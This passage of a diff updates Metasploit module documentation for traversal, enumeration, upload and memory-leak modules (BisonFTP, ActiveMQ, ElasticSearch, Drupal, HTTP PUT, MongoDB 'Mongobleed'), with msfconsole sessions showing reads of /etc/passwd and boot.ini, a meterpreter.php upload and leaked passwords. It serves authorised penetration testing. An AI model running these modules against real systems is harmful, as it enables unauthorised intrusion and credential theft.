+[+] Saved to: /home/tintin/.msf4/loot/20260321104202_default_127.0.0.1_osticket.include_866909.php
+
+======================================================================
+KEY FINDINGS
+======================================================================
+[+]   SECRET_SALT: ELPqrKK_aF5JLxk9M0uz__EFFP3Jxn0P
+[+]   ADMIN_EMAIL: administrator@localhost.local
+[+]   DBHOST: localhost
+[+]   DBNAME: osticket_db
+[+]   DBUSER: osticket_user
+[+]   DBPASS: P@ssw0rd123!
+[!] No active DB -- Credential data will not be saved!
+
+[+] Exploitation complete
+[*] Auxiliary module execution completed
+```

documentation/modules/auxiliary/scanner/ftp/bison_ftp_traversal.md

@@ -0,0 +1,83 @@
+## Vulnerable Application
+
+This module exploits a directory traversal vulnerability in BisonWare BisonFTP Server
+version 3.5. The flaw allows an attacker to download arbitrary files from the server by
+sending a crafted `RETR` command using traversal strings such as `..//`.
+
+The vulnerability is tracked as [CVE-2015-7602](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7602).
+
+### Setup
+
+1. Download BisonWare BisonFTP Server 3.5 from [Exploit-DB (EDB-38341)](https://www.exploit-db.com/exploits/38341).
+2. Install and run it on a Windows host.
+3. Configure the FTP root directory and ensure the service is listening (default port 21).
+4. Set up an anonymous login or create a user account with credentials.
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use auxiliary/scanner/ftp/bison_ftp_traversal`
+3. Do: `set RHOSTS [target IP]`
+4. Do: `run`
+5. You should see the requested file contents stored as loot.
+
+## Options
+
+### DEPTH
+
+The number of traversal sequences (`..//`) to prepend to the file path. The default is `32`.
+A high value is used because the exact depth of the FTP root can vary.
+
+### PATH
+
+The path to the file to retrieve from the target, relative to the drive root. The default value
+is `boot.ini`. For example, to read the Windows hosts file, set this to
+`windows/system32/drivers/etc/hosts`.
+
+### FTPUSER
+
+The FTP username to authenticate with. Default is `anonymous`.
+
+### FTPPASS
+
+The FTP password to authenticate with. Default is `mozilla@example.com`.
+
+## Scenarios
+
+### BisonFTP 3.5 on Windows XP
+
+```
+msf > use auxiliary/scanner/ftp/bison_ftp_traversal
+msf auxiliary(scanner/ftp/bison_ftp_traversal) > set RHOSTS 192.168.1.10
+RHOSTS => 192.168.1.10
+msf auxiliary(scanner/ftp/bison_ftp_traversal) > set PATH boot.ini
+PATH => boot.ini
+msf auxiliary(scanner/ftp/bison_ftp_traversal) > run
+
+[+] Stored boot.ini to /root/.msf4/loot/20250319120000_default_192.168.1.10_bisonware.ftp.da_123456.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+
+### Reading the hosts file
+
+```
+msf > use auxiliary/scanner/ftp/bison_ftp_traversal
+msf auxiliary(scanner/ftp/bison_ftp_traversal) > set RHOSTS 192.168.1.10
+RHOSTS => 192.168.1.10
+msf auxiliary(scanner/ftp/bison_ftp_traversal) > set PATH windows/system32/drivers/etc/hosts
+PATH => windows/system32/drivers/etc/hosts
+msf auxiliary(scanner/ftp/bison_ftp_traversal) > set VERBOSE true
+VERBOSE => true
+msf auxiliary(scanner/ftp/bison_ftp_traversal) > run
+
+[*] Data returned:
+# Copyright (c) 1993-2009 Microsoft Corp.
+#
+# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
+
+[+] Stored windows/system32/drivers/etc/hosts to /root/.msf4/loot/20250319120000_default_192.168.1.10_bisonware.ftp.da_654321.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+

documentation/modules/auxiliary/scanner/http/apache_activemq_traversal.md

@@ -0,0 +1,55 @@
+## Vulnerable Application
+
+This module exploits a directory traversal vulnerability in Apache ActiveMQ 5.3.1 and 5.3.2 on
+Windows systems. The flaw exists in the Jetty ResourceHandler that ships with these versions,
+allowing an unauthenticated attacker to read arbitrary files from the target host.
+
+The vulnerability is tracked as [CVE-2010-1587](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1587).
+
+### Setup
+
+To test this module you need a Windows host running one of the affected versions:
+
+1. Download [Apache ActiveMQ 5.3.1](http://archive.apache.org/dist/activemq/apache-activemq/5.3.1/) or 5.3.2.
+2. Extract the archive and run `bin\activemq.bat` to start the broker.
+3. The web console listens on port **8161** by default.
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use auxiliary/scanner/http/apache_activemq_traversal`
+3. Do: `set RHOSTS [target IP]`
+4. Do: `set RPORT 8161`
+5. Do: `run`
+6. You should see the contents of the requested file saved as loot.
+
+## Options
+
+### FILEPATH
+
+The path of the file to retrieve from the target system, relative to the drive root. The default
+value is `/windows\\win.ini`. Backslashes must be used for path separators on Windows targets.
+
+### DEPTH
+
+The number of traversal sequences (`/\..`) to prepend to the request. The default is `4`. If the
+file is not found, try increasing this value.
+
+## Scenarios
+
+### ActiveMQ 5.3.1 on Windows Server 2003 SP2
+
+```
+msf > use auxiliary/scanner/http/apache_activemq_traversal
+msf auxiliary(scanner/http/apache_activemq_traversal) > set RHOSTS 192.168.1.100
+RHOSTS => 192.168.1.100
+msf auxiliary(scanner/http/apache_activemq_traversal) > set RPORT 8161
+RPORT => 8161
+msf auxiliary(scanner/http/apache_activemq_traversal) > run
+
+[*] 192.168.1.100:8161 - Sending request...
+[*] 192.168.1.100:8161 - File saved in: /root/.msf4/loot/20250319120000_default_192.168.1.100_apache.activemq_123456.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+

documentation/modules/auxiliary/scanner/http/coldfusion_version.md

@@ -0,0 +1,57 @@
+## Vulnerable Application
+
+This module attempts to identify Adobe ColdFusion installations and determine the version
+running on the target. It inspects the ColdFusion Administrator login page at
+`/CFIDE/administrator/index.cfm` and fingerprints the version based on meta tags, copyright
+strings, and other patterns in the HTML response. The module can detect ColdFusion MX6, MX7,
+8, 9, and 10, as well as identify the underlying operating system from the `Server` header.
+
+### Setup
+
+Install any version of Adobe ColdFusion up to version 10. The default installation should
+have the administrator page accessible at `/CFIDE/administrator/index.cfm`. No additional
+configuration is needed.
+
+Alternatively, older ColdFusion trial installers can often be found on the
+[Adobe archive](https://helpx.adobe.com/coldfusion/kb/coldfusion-downloads.html).
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use auxiliary/scanner/http/coldfusion_version`
+3. Do: `set RHOSTS [target IP]`
+4. Do: `run`
+5. You should see the detected ColdFusion version and OS printed to the console.
+
+## Options
+
+## Scenarios
+
+### ColdFusion 9 on Windows Server 2008
+
+```
+msf > use auxiliary/scanner/http/coldfusion_version
+msf auxiliary(scanner/http/coldfusion_version) > set RHOSTS 10.0.0.20
+RHOSTS => 10.0.0.20
+msf auxiliary(scanner/http/coldfusion_version) > set THREADS 5
+THREADS => 5
+msf auxiliary(scanner/http/coldfusion_version) > run
+
+[+] 10.0.0.20: Adobe ColdFusion 9 (administrator access) (Windows (Microsoft-IIS/7.5))
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+
+### ColdFusion 8 on Linux
+
+```
+msf > use auxiliary/scanner/http/coldfusion_version
+msf auxiliary(scanner/http/coldfusion_version) > set RHOSTS 10.0.0.30
+RHOSTS => 10.0.0.30
+msf auxiliary(scanner/http/coldfusion_version) > run
+
+[+] 10.0.0.30: Adobe ColdFusion 8 (administrator access) (Unix (Apache/2.2.22))
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+

documentation/modules/auxiliary/scanner/http/drupal_views_user_enum.md

@@ -0,0 +1,54 @@
+## Vulnerable Application
+
+This module exploits an information disclosure vulnerability in the
+[Views](https://www.drupal.org/project/views) module for Drupal 6. When the Views module
+version 6.x-2.11 or earlier is installed, the autocomplete callback for user fields is
+accessible without proper authorization. The module brute-forces the first 10 usernames by
+iterating through the letters `a` to `z`.
+
+Drupal does not consider disclosure of usernames to be a security weakness on its own, but
+enumerated usernames can be useful for password-guessing attacks.
+
+### Setup
+
+1. Install Drupal 6 with the Views module version 6.x-2.11 or earlier.
+2. Create several user accounts so there is data to enumerate.
+3. Ensure the Views module is enabled under **Administer > Site building > Modules**.
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use auxiliary/scanner/http/drupal_views_user_enum`
+3. Do: `set RHOSTS [target IP]`
+4. Do: `run`
+5. You should see a list of discovered usernames printed to the console.
+
+## Options
+
+### TARGETURI
+
+The base path to the Drupal installation. The default value is `/`. Change this if Drupal is
+installed in a subdirectory, for example `/drupal/`.
+
+## Scenarios
+
+### Drupal 6.x with Views 6.x-2.11
+
+```
+msf > use auxiliary/scanner/http/drupal_views_user_enum
+msf auxiliary(scanner/http/drupal_views_user_enum) > set RHOSTS 192.168.1.50
+RHOSTS => 192.168.1.50
+msf auxiliary(scanner/http/drupal_views_user_enum) > set TARGETURI /
+TARGETURI => /
+msf auxiliary(scanner/http/drupal_views_user_enum) > run
+
+[*] Begin enumerating users at 192.168.1.50
+[+] Found User: admin
+[+] Found User: john
+[+] Found User: testuser
+[*] Done. 3 usernames found...
+[*] Usernames stored in: /root/.msf4/loot/20250319120000_default_192.168.1.50_drupal_user_123456.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+

documentation/modules/auxiliary/scanner/http/elasticsearch_traversal.md

@@ -0,0 +1,55 @@
+## Vulnerable Application
+
+This module exploits a directory traversal vulnerability in ElasticSearch versions prior to
+1.6.1. The flaw exists in the Snapshot API and allows an unauthenticated attacker to read
+arbitrary files from the target system with the privileges of the JVM process.
+
+The vulnerability is tracked as [CVE-2015-5531](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5531).
+
+### Setup
+
+1. Install a vulnerable version of ElasticSearch (prior to 1.6.1). Older releases are available
+   from the [ElasticSearch downloads archive](https://www.elastic.co/downloads/past-releases).
+2. Configure a `path.repo` in `elasticsearch.yml` so that the Snapshot API is available:
+   ```
+   path.repo: ["/tmp/backups"]
+   ```
+3. Start ElasticSearch. It listens on port **9200** by default.
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use auxiliary/scanner/http/elasticsearch_traversal`
+3. Do: `set RHOSTS [target IP]`
+4. Do: `run`
+5. You should see the requested file contents saved as loot.
+
+## Options
+
+### FILEPATH
+
+The path to the file to read on the target. The default value is `/etc/passwd`.
+
+### DEPTH
+
+The number of `../` traversal sequences to include. The default is `7`. Increase this if the
+file cannot be reached with the default depth.
+
+## Scenarios
+
+### ElasticSearch 1.5.2 on Ubuntu 14.04
+
+```
+msf > use auxiliary/scanner/http/elasticsearch_traversal
+msf auxiliary(scanner/http/elasticsearch_traversal) > set RHOSTS 10.10.10.50
+RHOSTS => 10.10.10.50
+msf auxiliary(scanner/http/elasticsearch_traversal) > set RPORT 9200
+RPORT => 9200
+msf auxiliary(scanner/http/elasticsearch_traversal) > run
+
+[*] The target appears to be vulnerable.
+[+] File saved in: /root/.msf4/loot/20250319120000_default_10.10.10.50_elasticsearch.tr_123456.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+

documentation/modules/auxiliary/scanner/http/http_put.md

@@ -1,44 +1,63 @@
-## Description 
-This module can abuse misconfigured web servers to upload and delete web content via PUT and DELETE HTTP requests.
+## Vulnerable Application
+
+This module targets web servers that allow HTTP PUT and DELETE methods without proper restrictions.
+
+Improper configuration of HTTP PUT can allow attackers to upload arbitrary files to the server.
+If executable files are uploaded, this may lead to:
+
+- Arbitrary file upload
+- Remote code execution
+- Website defacement
+- Unauthorized content modification
+
+DELETE method misuse can allow attackers to remove existing files from the server.
+
+To test this module:
+
+1. Set up a web server (Apache, Nginx, IIS, etc.)
+2. Ensure HTTP PUT/DELETE methods are enabled
+3. Confirm lack of authentication or access control
 
 ## Verification Steps
 
-1. Do: ```use auxiliary/scanner/http/http_put```
-2. Do: ```set RHOSTS [IP]```
-3. Do: ```set RPORT [PORT]```
-4. Do: ```set PATH [PATH]```
-5. Do: ```set FILENAME [FILENAME]```
-6. Do: ```set FILEDATA [PATH]```
-7. Do: ```run```
+1. Start Metasploit: `msfconsole`
+2. Load the module: `use auxiliary/scanner/http/http_put`
+3. Set options:
+   - `set RHOSTS [IP]`
+   - `set RPORT [PORT]`
+   - `set PATH [PATH]`
+   - `set FILENAME [FILENAME]`
+   - `set FILEDATA [PATH]`
+4. Run: `run`
+
+If vulnerable, the module will confirm successful upload or deletion.
 
 ## Options
 
 ### ACTION
 
-Set `ACTION` to either `PUT` or `DELETE`. (Default: `PUT`)
+Set `ACTION` to either `PUT` or `DELETE`. Default is `PUT`.
 
 ### PUT
 
-Action is set to PUT to upload files to the server. If `FILENAME` isn't specified, the module will generate a random string as a .txt file.
+Uploads files to the server. If `FILENAME` is not specified, a random `.txt` file is generated.
 
-### DELETE 
+### DELETE
 
-Deletes the file specified in the `FILENAME` option (Default: `msf_http_put_test.txt`). `FILENAME` is required when Action is set to DELETE. 
+Deletes the file specified in `FILENAME`.
 
 ### PATH
 
-The path at which this module will attempt to either PUT the content or DELETE it.
+Target path for upload or deletion.
 
 ### FILEDATA
 
-The content to put in the uploaded file when `ACTION` is set to `PUT`.
-
+Content to upload when using PUT.
 
 ## Scenarios
 
-Here `ACTION` is by default set to `PUT`.
-
-```
+Example usage with `ACTION` set to `PUT` (default):
+```bash
 msf > use auxiliary/scanner/http/http_put
 msf auxiliary(scanner/http/http_put) > set RHOSTS 1.1.1.23
 RHOSTS => 1.1.1.23
@@ -48,13 +67,11 @@ msf auxiliary(scanner/http/http_put) > set PATH /uploads
 PATH => /uploads
 msf auxiliary(scanner/http/http_put) > set FILENAME meterpreter.php
 FILENAME => meterpreter.php
-msf auxiliary(scanner/http/http_put) > set FILEDATA file://root/Desktop/meterpreter.php
-FILEDATA => file://root/Desktop/meterpreter.php
-msf auxiliary(scanner/http/http_put) > run 
-
+msf auxiliary(scanner/http/http_put) > set FILEDATA file:/root/Desktop/meterpreter.php
+FILEDATA => file:/root/Desktop/meterpreter.php
+msf auxiliary(scanner/http/http_put) > run
 [+] File uploaded: http://1.1.1.23:8585/uploads/meterpreter.php
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
 msf auxiliary(scanner/http/http_put) >
 ```
- 

documentation/modules/auxiliary/scanner/http/wordpress_pingback_access.md

@@ -0,0 +1,44 @@
+## Vulnerable Application
+
+This module checks for accessible WordPress pingback functionality.
+
+Pingback is an XML-RPC feature in WordPress that allows blogs to notify each other of references.
+If enabled, it can be abused for:
+
+- DDoS amplification attacks
+- Internal network scanning
+- Information disclosure
+
+To test this module:
+
+1. Set up a WordPress instance (any version with XML-RPC enabled)
+2. Ensure `/xmlrpc.php` is accessible
+3. Pingback functionality should not be disabled
+
+## Verification Steps
+
+1. Start Metasploit: `msfconsole`
+2. Load the module: `use auxiliary/scanner/http/wordpress_pingback_access`
+3. Set the target: `set RHOSTS example.com`
+4. Run the module: `run`
+
+If vulnerable, the module will indicate that pingback access is enabled.
+
+## Options
+
+This module has no additional options beyond the standard ones.
+
+## Scenarios
+
+Example usage against a WordPress site with pingback enabled:
+```bash
+msf > use auxiliary/scanner/http/wordpress_pingback_access
+msf auxiliary(scanner/http/wordpress_pingback_access) > set RHOSTS example.com
+RHOSTS => example.com
+msf auxiliary(scanner/http/wordpress_pingback_access) > run
+[*] Checking pingback access on example.com
+[+] Pingback is enabled and accessible at /xmlrpc.php
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(scanner/http/wordpress_pingback_access) >
+```

documentation/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.md

@@ -1,8 +1,11 @@
 ## Vulnerable Application
 
-This module exploits CVE-2025-14847, a memory disclosure vulnerability in MongoDB's zlib decompression handling, commonly referred to as "Mongobleed."
+This module exploits CVE-2025-14847, a memory disclosure vulnerability in MongoDB's zlib decompression handling, commonly referred to
+as "Mongobleed."
 
-By sending crafted `OP_COMPRESSED` messages with inflated BSON document lengths, the server allocates a buffer based on the claimed uncompressed size but only fills it with the actual decompressed data. When MongoDB parses the BSON document, it reads beyond the decompressed buffer into uninitialized memory, returning leaked memory contents in error messages.
+By sending crafted `OP_COMPRESSED` messages with inflated BSON document lengths, the server allocates a buffer based on the claimed
+uncompressed size but only fills it with the actual decompressed data. When MongoDB parses the BSON document, it reads beyond the
+decompressed buffer into uninitialized memory, returning leaked memory contents in error messages.
 
 The vulnerability allows unauthenticated remote attackers to leak server memory which may contain sensitive information such as:
 - Database credentials
@@ -11,7 +14,8 @@ The vulnerability allows unauthenticated remote attackers to leak server memory
 - Connection strings
 - Application data
 
-**Note:** This vulnerability only affects servers with zlib compression enabled. The module will check for zlib compression support before attempting exploitation.
+This vulnerability only affects servers with zlib compression enabled. The module checks for zlib compression support before attempting
+exploitation.
 
 ### Vulnerable Versions
 
@@ -39,44 +43,14 @@ Per [MongoDB JIRA SERVER-115508](https://jira.mongodb.org/browse/SERVER-115508):
 ## Verification Steps
 
 1. Install a vulnerable MongoDB version (e.g., MongoDB 7.0.15)
-2. Start the MongoDB service
+2. Start the MongoDB service with zlib compression enabled
 3. Start msfconsole
 4. `use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed`
 5. `set RHOSTS <target>`
-6. `set ACTION CHECK` then `run` (optional - quick vulnerability check)
-7. `set ACTION SCAN` then `run` (full exploitation)
+6. `check` to verify the target is vulnerable
+7. `run` to perform the full memory leak scan
 8. Verify that memory contents are leaked and saved to loot
 
-## Actions
-
-The module supports two actions:
-
-### SCAN (Default)
-Full exploitation that scans memory offsets and extracts leaked data.
-
-### CHECK
-Quick vulnerability check using the Wiz Research "magic packet" technique for deterministic vulnerability detection. This action:
-
-1. Checks the MongoDB version against known vulnerable versions
-2. Verifies that zlib compression is enabled on the server
-3. Sends a specially crafted packet that triggers the memory leak
-4. Analyzes the response for BSON signatures in leaked memory
-
-This provides a quick, low-impact way to confirm vulnerability without performing a full memory scan.
-
-```
-msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set ACTION CHECK
-ACTION => CHECK
-msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
-
-[*] 192.168.1.100:27017 - Running vulnerability check against 192.168.1.100:27017...
-[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
-[+] 192.168.1.100:27017 - Version 7.0.14 appears vulnerable, confirming with probe...
-[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
-[*] 192.168.1.100:27017 - Sending Wiz magic packet to confirm vulnerability...
-[+] 192.168.1.100:27017 - VULNERABLE - Server leaks memory via CVE-2025-14847 (MongoDB 7.0.14)
-```
-
 ## Options
 
 ### MIN_OFFSET
@@ -95,13 +69,15 @@ Padding added to the claimed uncompressed buffer size. Default: `500`
 Minimum bytes to report as an interesting leak in the output. Default: `10`
 
 ### QUICK_SCAN
-Enable quick scan mode which samples key offsets (power-of-2 boundaries, etc.) instead of scanning every offset. Much faster but may miss some leaks. Default: `false`
+Enable quick scan mode which samples key offsets (power-of-2 boundaries, etc.) instead of scanning every offset. Much faster but may
+miss some leaks. Default: `false`
 
 ### REPEAT
 Number of scan passes to perform. Memory contents change over time, so multiple passes can capture more data. Default: `1`
 
 ### REUSE_CONNECTION
-Reuse TCP connection for faster scanning. When enabled, the module maintains a persistent connection instead of reconnecting for each probe. This can improve scanning speed by 10-50x. Default: `true`
+Reuse TCP connection for faster scanning. When enabled, the module maintains a persistent connection instead of reconnecting for each
+probe. This can improve scanning speed by 10-50x. Default: `true`
 
 ## Advanced Options
 
@@ -124,29 +100,38 @@ Show progress every N offsets. Set to 0 to disable. Default: `500`
 Save all raw MongoDB responses to a separate loot file for offline analysis with tools like `strings`, `binwalk`, etc. Default: `false`
 
 ### SAVE_JSON
-Save leaked data as a JSON report with full metadata including offsets, timestamps, base64-encoded data, and detected secrets. Useful for automated processing or integration with other tools. Default: `true`
+Save leaked data as a JSON report with full metadata including offsets, timestamps, base64-encoded data, and detected secrets. Useful
+for automated processing or integration with other tools. Default: `true`
 
 ## Scenarios
 
-### Using the CHECK Action
+### Vulnerability Check
+
+The module supports the standard `check` command. It fingerprints the MongoDB version, verifies zlib compression is enabled, and sends
+a crafted magic packet to confirm exploitability.
 
 ```
 msf6 > use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
 RHOSTS => 192.168.1.100
-msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set ACTION CHECK
-ACTION => CHECK
-msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
+msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check
 
-[*] 192.168.1.100:27017 - Running vulnerability check against 192.168.1.100:27017...
-[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
-[+] 192.168.1.100:27017 - Version 7.0.14 appears vulnerable, confirming with probe...
-[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
-[*] 192.168.1.100:27017 - Sending Wiz magic packet to confirm vulnerability...
-[+] 192.168.1.100:27017 - VULNERABLE - Server leaks memory via CVE-2025-14847 (MongoDB 7.0.14)
+[+] 192.168.1.100:27017 - The target is vulnerable. Server leaks memory via crafted OP_COMPRESSED message (MongoDB 4.4.26)
 ```
 
-### MongoDB 7.0.14 on Linux (with Connection Reuse)
+When pointed at a non-MongoDB service, the check correctly identifies it as not vulnerable:
+
+```
+msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.200
+RHOSTS => 192.168.1.200
+msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RPORT 80
+RPORT => 80
+msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check
+
+[-] 192.168.1.200:80 - The target is not exploitable. Target does not appear to be a MongoDB service
+```
+
+### MongoDB 4.4.26 on Windows
 
 ```
 msf6 > use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed
@@ -154,26 +139,25 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1
 RHOSTS => 192.168.1.100
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
 
-[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
-[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
-[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
+[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
+[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
+[*] 192.168.1.100:27017 - Server compressors: zlib
 [*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
 [*] 192.168.1.100:27017 - Scanning 8173 offsets (20-8192, step=1)
-[+] 192.168.1.100:27017 - offset=20   len=82  : [conn38248] end connection 10.0.0.5:36845 (0 connections now open)
-[+] 192.168.1.100:27017 - offset=163  len=617 : driver: { name: "mongoc / ext-mongodb:PHP ", version: "1.24.3" }
-[+] 192.168.1.100:27017 - offset=501  len=40  : id bson type in element with field name
-[*] 192.168.1.100:27017 - Progress: 500/8173 (6.1%) - 7 leaks found - ETA: 49s
+[+] 192.168.1.100:27017 - offset=77   len=39  : conn38248] end connection 10.0.0.5:36845
+[*] 192.168.1.100:27017 - Progress: 500/8173 (6.1%) - 3 leaks found - ETA: 49s
 [+] 192.168.1.100:27017 - offset=757  len=12  : password=abc
-[!] 192.168.1.100:27017 - Secret pattern detected at offset 757: 'password' in context: ...config: { password=abc123&user=admin...
-[*] 192.168.1.100:27017 - Progress: 1000/8173 (12.2%) - 11 leaks found - ETA: 42s
+[!] 192.168.1.100:27017 - Secret pattern detected at offset 757: 'password'
+[*] 192.168.1.100:27017 - Progress: 1000/8173 (12.2%) - 5 leaks found - ETA: 42s
 ...
 
 [!] 192.168.1.100:27017 - Potential secrets detected:
-[!] 192.168.1.100:27017 -   - Pattern 'password' at offset 757 (pos 12): ...config: { password=abc123&user=admin...
+[!] 192.168.1.100:27017 -   - Pattern 'password' at offset 757
 
-[+] 192.168.1.100:27017 - Total leaked: 1703 bytes
-[+] 192.168.1.100:27017 - Unique fragments: 13
+[+] 192.168.1.100:27017 - Total leaked: 703 bytes
+[+] 192.168.1.100:27017 - Unique fragments: 8
 [+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin
+[+] 192.168.1.100:27017 - JSON report saved to: /root/.msf4/loot/20251230_mongobleed.json
 [*] 192.168.1.100:27017 - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
 ```
@@ -182,12 +166,15 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
 
 ```
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
+RHOSTS => 192.168.1.100
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set REPEAT 3
+REPEAT => 3
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set MAX_OFFSET 16384
+MAX_OFFSET => 16384
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
 
-[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
-[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
+[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
+[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
 [*] 192.168.1.100:27017 - Server compressors: zlib
 [*] 192.168.1.100:27017 - Running 3 scan passes to maximize data collection...
 [*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
@@ -211,15 +198,16 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
 
 ```
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
+RHOSTS => 192.168.1.100
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set QUICK_SCAN true
+QUICK_SCAN => true
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
 
-[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
-[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
+[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
+[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
 [*] 192.168.1.100:27017 - Server compressors: zlib
 [*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
 [*] 192.168.1.100:27017 - Scanning 97 offsets (20-8192, step=1, quick mode)
-[+] 192.168.1.100:27017 - offset=20   len=45  : connection string fragment...
 [+] 192.168.1.100:27017 - offset=128  len=23  : mongodb://admin:pass...
 
 [+] 192.168.1.100:27017 - Total leaked: 234 bytes
@@ -228,33 +216,52 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
 [+] 192.168.1.100:27017 - JSON report saved to: /root/.msf4/loot/20251230_mongobleed.json
 ```
 
+### Server Without zlib Compression
+
+```
+msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check rhost=192.168.123.144
+
+[*] 192.168.123.144:27017 - The target is not exploitable. Server does not have zlib compression enabled (MongoDB 4.4.26)
+
+msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run rhost=192.168.123.144
+
+[*] 192.168.123.144:27017 - MongoDB version: 4.4.26
+[+] 192.168.123.144:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
+[*] 192.168.123.144:27017 - Server compressors: none
+[-] 192.168.123.144:27017 - Server does not support zlib compression - vulnerability not exploitable
+[*] 192.168.123.144:27017 - The CVE-2025-14847 vulnerability requires zlib compression to be enabled
+[*] 192.168.123.144:27017 - Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+
 ### JSON Report Output
 
-The JSON report includes full metadata for each leak:
+When `SAVE_JSON` is enabled (the default), the module saves a structured JSON report alongside the raw loot. This includes full
+metadata for each leak fragment:
 
 ```json
 {
   "scan_info": {
     "target": "192.168.1.100",
     "port": 27017,
-    "mongodb_version": "7.0.14",
+    "mongodb_version": "4.4.26",
     "scan_time": "2025-12-30T14:30:00Z",
     "cve": "CVE-2025-14847"
   },
   "summary": {
-    "total_leaks": 13,
-    "total_bytes": 1703,
-    "secrets_found": 2
+    "total_leaks": 8,
+    "total_bytes": 703,
+    "secrets_found": 1
   },
   "secrets": [
     "Pattern 'password' at offset 757..."
   ],
   "leaks": [
     {
-      "offset": 20,
-      "length": 82,
-      "data_base64": "W2Nvbm4zODI0OF0gZW5kIGNvbm5lY3Rpb24...",
-      "data_printable": "[conn38248] end connection 10.0.0.5:36845...",
+      "offset": 77,
+      "length": 39,
+      "data_base64": "Y29ubjM4MjQ4XSBlbmQgY29ubmVjdGlvbi4uLg==",
+      "data_printable": "conn38248] end connection 10.0.0.5:36845",
       "has_secret": false,
       "timestamp": "2025-12-30T14:30:01Z"
     }
@@ -262,8 +269,9 @@ The JSON report includes full metadata for each leak:
 }
 ```
 
-You can process the JSON with standard tools:
-```bash
+The JSON report can be processed with standard tools:
+
+```
 # Extract all leaked data
 cat mongobleed.json | jq -r '.leaks[].data_printable'
 
@@ -278,43 +286,33 @@ cat mongobleed.json | jq '.summary'
 
 ```
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
+RHOSTS => 192.168.1.100
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set SAVE_RAW_RESPONSES true
+SAVE_RAW_RESPONSES => true
 msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
 
-[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
